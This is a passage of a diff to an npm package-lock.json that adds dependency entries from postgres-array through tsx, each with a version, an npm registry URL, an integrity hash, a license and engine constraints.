"https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", + "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/postgres-bytea": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz", + "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-date": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", + "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-interval": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", + "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", + "license": "MIT", + "dependencies": { + "xtend": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/prisma": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/prisma/-/prisma-7.10.1.tgz", + "integrity": "sha512-GoVeErHGGtsSjsflQ1r2BA3RKTXtxNraQJz8OLkLhoLr7OgCscdx4qw4WMM4HnERYc+a1cq2VnMNbep+vOjNcQ==", + "devOptional": true, + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/config": "7.10.1", + "@prisma/dev": "0.24.17", + "@prisma/engines": "7.10.1", + "@prisma/studio-core": "0.33.0", + "mysql2": "3.24.4", + "postgres": "3.4.7" + }, + "bin": { + "prisma": "build/index.js" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0" + }, + "peerDependencies": { + "better-sqlite3": ">=9.0.0", + "typescript": ">=5.4.0" + }, + "peerDependenciesMeta": { + "better-sqlite3": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/process-warning": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-5.1.1.tgz", + "integrity": "sha512-oCkNVj4OKnKEcocVBcDfiIugN1/cE6rgfT3nCtzeqZPA8+rIxMaQ0xXzIkGP8Gj2qUaP1UR7uhJ1VD8lUCpzCg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/proper-lockfile": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", + "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "retry": "^0.12.0", + "signal-exit": "^3.0.2" + } + }, + "node_modules/proper-lockfile/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "devOptional": true, + "license": "ISC" + }, + "node_modules/proxy-addr": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", + "integrity": "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/pure-rand": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", + "integrity": "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==", + "devOptional": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT" + }, + "node_modules/qs": { + "version": "6.16.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", + "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", + "license": "BSD-3-Clause", + "dependencies": { + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/quick-format-unescaped": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz", + "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==", + "license": "MIT" + }, + "node_modules/range-parser": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", + "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/rc9": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/rc9/-/rc9-3.1.0.tgz", + "integrity": "sha512-ufjkNVzbRHKcCOmTahZkmVsyc3W+MSk3jY03m+a7tGHkIsdVMG9l10/3HvFbWkkKzY5VFp3pkRsIo/UYgmFL7Q==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "defu": "^6.1.7", + "destr": "^2.0.5" + } + }, + "node_modules/react": { + "version": "19.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-19.3.1.tgz", + "integrity": "sha512-QNhWdt7nrgVWWQG58QuGsAR3jv3Hbe4mb4vz7w2csnHavciZJgda1CPNaldF6eVxv90ud3jUXpKlHL69gO38yw==", + "devOptional": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.1.tgz", + "integrity": "sha512-Y0bARz53lhEC1NMCASs0/j+faB/zqt3R8hpvg1e8+61ZVJ4UL0UdC4cBbXfZMcIuhrfgeILTLe+ZeBCavQPtKQ==", + "devOptional": true, + "license": "MIT", + "peer": true, + "dependencies": { + "scheduler": "^0.28.0" + }, + "peerDependencies": { + "react": "^19.3.1" + } + }, + "node_modules/readdirp": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.1.1.tgz", + "integrity": "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/real-require": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.2.0.tgz", + "integrity": "sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==", + "license": "MIT", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/remeda": { + "version": "2.33.4", + "resolved": "https://registry.npmjs.org/remeda/-/remeda-2.33.4.tgz", + "integrity": "sha512-ygHswjlc/opg2VrtiYvUOPLjxjtdKvjGz1/plDhkG66hjNjFr1xmfrs2ClNFo/E6TyUFiwYNh53bKV26oBoMGQ==", + "devOptional": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/remeda" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ret": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.5.0.tgz", + "integrity": "sha512-I1XxrZSQ+oErkRR4jYbAyEEu2I0avBvvMM5JN+6EBprOGRCs63ENqZ3vjavq8fBw2+62G5LF5XelKwuJpcvcxw==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/robust-predicates": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz", + "integrity": "sha512-NS3levdsRIUOmiJ8FZWCP7LG3QpJyrs/TE0Zpf1yvZu8cAJJ6QMW92H1c7kWpdIHo8RvmLxN/o2JXTKHp74lUA==", + "devOptional": true, + "license": "Unlicense" + }, + "node_modules/rollup": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.63.2.tgz", + "integrity": "sha512-l5eyksV4tPBj6lJyEa37YzIOCSOV7lkZzEHUdpjWZbtD7wTcFYmEYXSgm5bT4vV+dZLb9rBG1W9GROOG4NS4Ew==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.9" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@napi-rs/lzma-linux-x64-gnu": "1.5.1", + "@rollup/rollup-android-arm-eabi": "4.63.2", + "@rollup/rollup-android-arm64": "4.63.2", + "@rollup/rollup-darwin-arm64": "4.63.2", + "@rollup/rollup-darwin-x64": "4.63.2", + "@rollup/rollup-freebsd-arm64": "4.63.2", + "@rollup/rollup-freebsd-x64": "4.63.2", + "@rollup/rollup-linux-arm-gnueabihf": "4.63.2", + "@rollup/rollup-linux-arm-musleabihf": "4.63.2", + "@rollup/rollup-linux-arm64-gnu": "4.63.2", + "@rollup/rollup-linux-arm64-musl": "4.63.2", + "@rollup/rollup-linux-loong64-gnu": "4.63.2", + "@rollup/rollup-linux-loong64-musl": "4.63.2", + "@rollup/rollup-linux-ppc64-gnu": "4.63.2", + "@rollup/rollup-linux-ppc64-musl": "4.63.2", + "@rollup/rollup-linux-riscv64-gnu": "4.63.2", + "@rollup/rollup-linux-riscv64-musl": "4.63.2", + "@rollup/rollup-linux-s390x-gnu": "4.63.2", + "@rollup/rollup-linux-x64-gnu": "4.63.2", + "@rollup/rollup-linux-x64-musl": "4.63.2", + "@rollup/rollup-openbsd-x64": "4.63.2", + "@rollup/rollup-openharmony-arm64": "4.63.2", + "@rollup/rollup-win32-arm64-msvc": "4.63.2", + "@rollup/rollup-win32-ia32-msvc": "4.63.2", + "@rollup/rollup-win32-x64-gnu": "4.63.2", + "@rollup/rollup-win32-x64-msvc": "4.63.2", + "fsevents": "~2.3.2" + } + }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safe-regex2": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-regex2/-/safe-regex2-5.1.2.tgz", + "integrity": "sha512-tAtCGFPPP02VroDVzp4daGi6bC7jWG+41D47GKf18FeH/ubvKQHT9VmhAkvtjNOmJwqtApzWeUpEhkyEYULvmw==", + "devOptional": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "ret": "~0.5.0" + }, + "bin": { + "safe-regex2": "bin/safe-regex2.js" + } + }, + "node_modules/safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/scheduler": { + "version": "0.28.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz", + "integrity": "sha512-juorfCmIkIw8tT+p5BXSm6PJjQF/ycEYmKyzURCIt/RaZIhL+PulbQ9Yu2z1HdOJDdqDTlxA1+xKBmHXJsczAw==", + "devOptional": true, + "license": "MIT", + "peer": true + }, + "node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/smol-toml": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.9.1.tgz", + "integrity": "sha512-j7WyPdf0CJoutMzMoPLF/bVXHtKZIT9Rb4eGeEbWw8X2t5oirjPgpL+OpaENZrILYaXqYwnVH+qgUwVbl+pUJQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 18" + }, + "funding": { + "url": "https://github.com/sponsors/cyyynthia" + } + }, + "node_modules/sonic-boom": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-4.2.1.tgz", + "integrity": "sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==", + "license": "MIT", + "dependencies": { + "atomic-sleep": "^1.0.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", + "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/split2": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", + "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", + "license": "ISC", + "engines": { + "node": ">= 10.x" + } + }, + "node_modules/sql-escaper": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/sql-escaper/-/sql-escaper-1.5.2.tgz", + "integrity": "sha512-6CKD38c31SENivxOADeMNLdukOnUxUcflKtzVWzace7Riv1v7cAEym5Cx9Q7gYZ3ezIJI7ZpqecQq8cqNeSSFg==", + "devOptional": true, + "license": "MIT", + "engines": { + "bun": ">=1.0.0", + "deno": ">=2.0.0", + "node": ">=12.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/mysqljs/sql-escaper?sponsor=1" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.2.0.tgz", + "integrity": "sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==", + "dev": true, + "license": "MIT" + }, + "node_modules/superagent": { + "version": "10.3.0", + "resolved": "https://registry.npmjs.org/superagent/-/superagent-10.3.0.tgz", + "integrity": "sha512-B+4Ik7ROgVKrQsXTV0Jwp2u+PXYLSlqtDAhYnkkD+zn3yg8s/zjA2MeGayPoY/KICrbitwneDHrjSotxKL+0XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "component-emitter": "^1.3.1", + "cookiejar": "^2.1.4", + "debug": "^4.3.7", + "fast-safe-stringify": "^2.1.1", + "form-data": "^4.0.5", + "formidable": "^3.5.4", + "methods": "^1.1.2", + "mime": "2.6.0", + "qs": "^6.14.1" + }, + "engines": { + "node": ">=14.18.0" + } + }, + "node_modules/supertest": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/supertest/-/supertest-7.2.2.tgz", + "integrity": "sha512-oK8WG9diS3DlhdUkcFn4tkNIiIbBx9lI2ClF8K+b2/m8Eyv47LSawxUzZQSNKUrVb2KsqeTDCcjAAVPYaSLVTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cookie-signature": "^1.2.2", + "methods": "^1.1.2", + "superagent": "^10.3.0" + }, + "engines": { + "node": ">=14.18.0" + } + }, + "node_modules/thread-stream": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-3.2.0.tgz", + "integrity": "sha512-zLBvqpwr4Esa0kRjcrzGU6zL25lePWaCLMx0RQFrmteozIfeNdaMLpG5U7PeHzvlFkAWaRKA9/KVW4F60iB+qw==", + "license": "MIT", + "dependencies": { + "real-require": "^0.2.0" + } + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.1.tgz", + "integrity": "sha512-GCvB3aoys96IuDFBMcTB46JOR6mdMtAToqwiW8JlWhsoh1mhHi/xn9ss/Dg7N555GiJyEt2qzoG/NHCwM6h1EA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyrainbow": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.1.tgz", + "integrity": "sha512-yau8yJdTt989Mm0Bd/236QnzEiPf2xLLTqUZRUJOo/3CB078LSwzei343DgtJVmfJKJE3TMINY1u42SQsP6mXw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/tsx": { + "version": "4.23.13", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.13.tgz", + "integrity": 